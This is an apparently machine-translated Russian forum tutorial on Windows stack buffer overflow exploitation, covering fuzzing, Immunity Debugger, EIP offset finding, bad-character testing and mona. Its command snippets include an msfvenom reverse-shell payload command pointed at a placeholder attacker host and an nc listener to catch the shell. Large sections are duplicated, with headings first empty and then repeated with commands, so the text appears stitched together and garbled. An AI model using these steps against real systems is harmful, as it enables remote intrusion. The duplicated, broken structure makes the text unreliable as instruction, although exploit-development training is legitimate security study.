Умелый пользователь может использовать переполнение буфера на основе стека для манипулирования программой в своих интересах одним из нескольких способов:
- Перезаписав локальную переменную, расположенную рядом с уязвимым буфером в стеке, чтобы изменить поведение программы.
- Перезаписав адрес возврата в стеке фрейма. Как только функция вернется, выполнение возобновится по адресу возврата, указанному атакующим - обычно это заполненный пользователем буфер.
- Перезаписав указатель функции или обработчик исключений, который впоследствии выполняется.
- Перезаписывая локальную переменную (или указатель) другого фрейма стека, который будет использоваться функцией, которой позже будет принадлежать этот фрейм.
На основе кучи
Переполнение буфера, возникающее в области данных кучи, называется переполнением кучи и может использоваться способом, отличным от переполнения на основе стека. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует полученный обмен указателями для перезаписи указателя программной функции.
Переполнение буфера в windows
Обнаруживаем, что приложение уязвимо для переполнения буфера путем фаззинга приложения фаззером.
Введение в иммунитет отладчика
Добавление приложения в отладчик imunnity
####
Фаззинг приложения
Фаззер фаззит приложение в случайном инкрементном порядке, так что приложение останавливается, когда обнаруживает сбой или тайм-аут из приложения, с которым мы взаимодействуем.
Тиражирование аварии
Повторяем сбой, отправляя приложение со значением, при котором оно падало
управление EIP
РАСПОЛОЖЕНИЕ EIP СОЗДАВАЯ УНИКАЛЬНЫЙ УЗОР
РАСПОЛОЖЕНИЕ ОФСЕТНОГО АДРЕСА EIP
Определение места для шеллкода
ПРОВЕРКА НА ПЛОХИЕ СИМВОЛЫ
ПЕРЕПРАВЛЕНИЕ ИСПОЛНИТЕЛЬНОГО ПОТОКА
НАЙТИ ВОЗВРАТ АДРЕС
##### введение в мону
ИДЕНТИФИКАЦИЯ МОДУЛЯ С OUT ASLR, DEP, SEH
NASM SHELL
формат данных
инструкция загрузки слова или сохранения слова использует только один адрес памяти. Самый младший адрес из четырех байтов используется для адреса блока из четырех смежных байтов.
Как 32-битный шаблон хранится в четырех байтах памяти? В шаблоне содержится 32 бита, а в шаблоне - 32 бита, но необходимо выбрать, какой байт памяти получает какую часть шаблона. Есть два способа, которыми компьютеры обычно делают это:
Порядок байтов Big Endian:
Самый старший байт («большой конец») данных помещается в байт с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.
Little Endian Byte Order:
Младший значащий байт («маленький конец») данных помещается в байт с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.
В этих определениях данные, 32-разрядный шаблон, рассматриваются как 32-разрядное целое число без знака. «Самый значимый» байт - это байт для самых больших степеней двух: 231,…, 224. «Наименее значимый» байт - это байт для наименьших степеней двух: 27,…, 20.
Например, допустим, что 32-разрядный шаблон 0x12345678 хранится по адресу 0x00400000. Самый старший байт 0x12; наименее значимым является 0x78.
Внутри байта порядок битов одинаков для всех компьютеров (независимо от того, как расположены сами байты).
Генерация shellcode
Оптимизация shellcode
получение reverse shell
improving the exploit
- Перезаписав локальную переменную, расположенную рядом с уязвимым буфером в стеке, чтобы изменить поведение программы.
- Перезаписав адрес возврата в стеке фрейма. Как только функция вернется, выполнение возобновится по адресу возврата, указанному атакующим - обычно это заполненный пользователем буфер.
- Перезаписав указатель функции или обработчик исключений, который впоследствии выполняется.
- Перезаписывая локальную переменную (или указатель) другого фрейма стека, который будет использоваться функцией, которой позже будет принадлежать этот фрейм.
На основе кучи
Переполнение буфера, возникающее в области данных кучи, называется переполнением кучи и может использоваться способом, отличным от переполнения на основе стека. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует полученный обмен указателями для перезаписи указателя программной функции.
Переполнение буфера в windows
Обнаруживаем, что приложение уязвимо для переполнения буфера путем фаззинга приложения фаззером.
Введение в иммунитет отладчика
Добавление приложения в отладчик imunnity
####
Фаззинг приложения
Фаззер фаззит приложение в случайном инкрементном порядке, так что приложение останавливается, когда обнаруживает сбой или тайм-аут из приложения, с которым мы взаимодействуем.
Тиражирование аварии
Повторяем сбой, отправляя приложение со значением, при котором оно падало
управление EIP
РАСПОЛОЖЕНИЕ EIP СОЗДАВАЯ УНИКАЛЬНЫЙ УЗОР
Код:
msf-pattern_create -h
msf-pattern_create -l length of buffer
Код:
msf-pattern_offset -h
msf-pattern_offset -l lengthofbuffer -q stringfromeip
ПРОВЕРКА НА ПЛОХИЕ СИМВОЛЫ
Код:
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
ПЕРЕПРАВЛЕНИЕ ИСПОЛНИТЕЛЬНОГО ПОТОКА
НАЙТИ ВОЗВРАТ АДРЕС
##### введение в мону
Код:
!mona
NASM SHELL
Код:
msf-nasm_shell
nasm>jmp esp
!mona
!mona modules
!mona find -s "instruction " -m "module to search"
инструкция загрузки слова или сохранения слова использует только один адрес памяти. Самый младший адрес из четырех байтов используется для адреса блока из четырех смежных байтов.
Как 32-битный шаблон хранится в четырех байтах памяти? В шаблоне содержится 32 бита, а в шаблоне - 32 бита, но необходимо выбрать, какой байт памяти получает какую часть шаблона. Есть два способа, которыми компьютеры обычно делают это:
Порядок байтов Big Endian:
Самый старший байт («большой конец») данных помещается в байт с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.
Little Endian Byte Order:
Младший значащий байт («маленький конец») данных помещается в байт с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.
В этих определениях данные, 32-разрядный шаблон, рассматриваются как 32-разрядное целое число без знака. «Самый значимый» байт - это байт для самых больших степеней двух: 231,…, 224. «Наименее значимый» байт - это байт для наименьших степеней двух: 27,…, 20.
Например, допустим, что 32-разрядный шаблон 0x12345678 хранится по адресу 0x00400000. Самый старший байт 0x12; наименее значимым является 0x78.
Внутри байта порядок битов одинаков для всех компьютеров (независимо от того, как расположены сами байты).
Генерация shellcode
Код:
msfvenom -p windows/shell_reverse_tcp lhost=attackerip lport=attackerport -f fileformat -e x86/shikata_ga_nai -b "badcharcters"
получение reverse shell
Код:
nc -nlvp port to connect
Вложения
-
338,3 КБ Просмотры: 0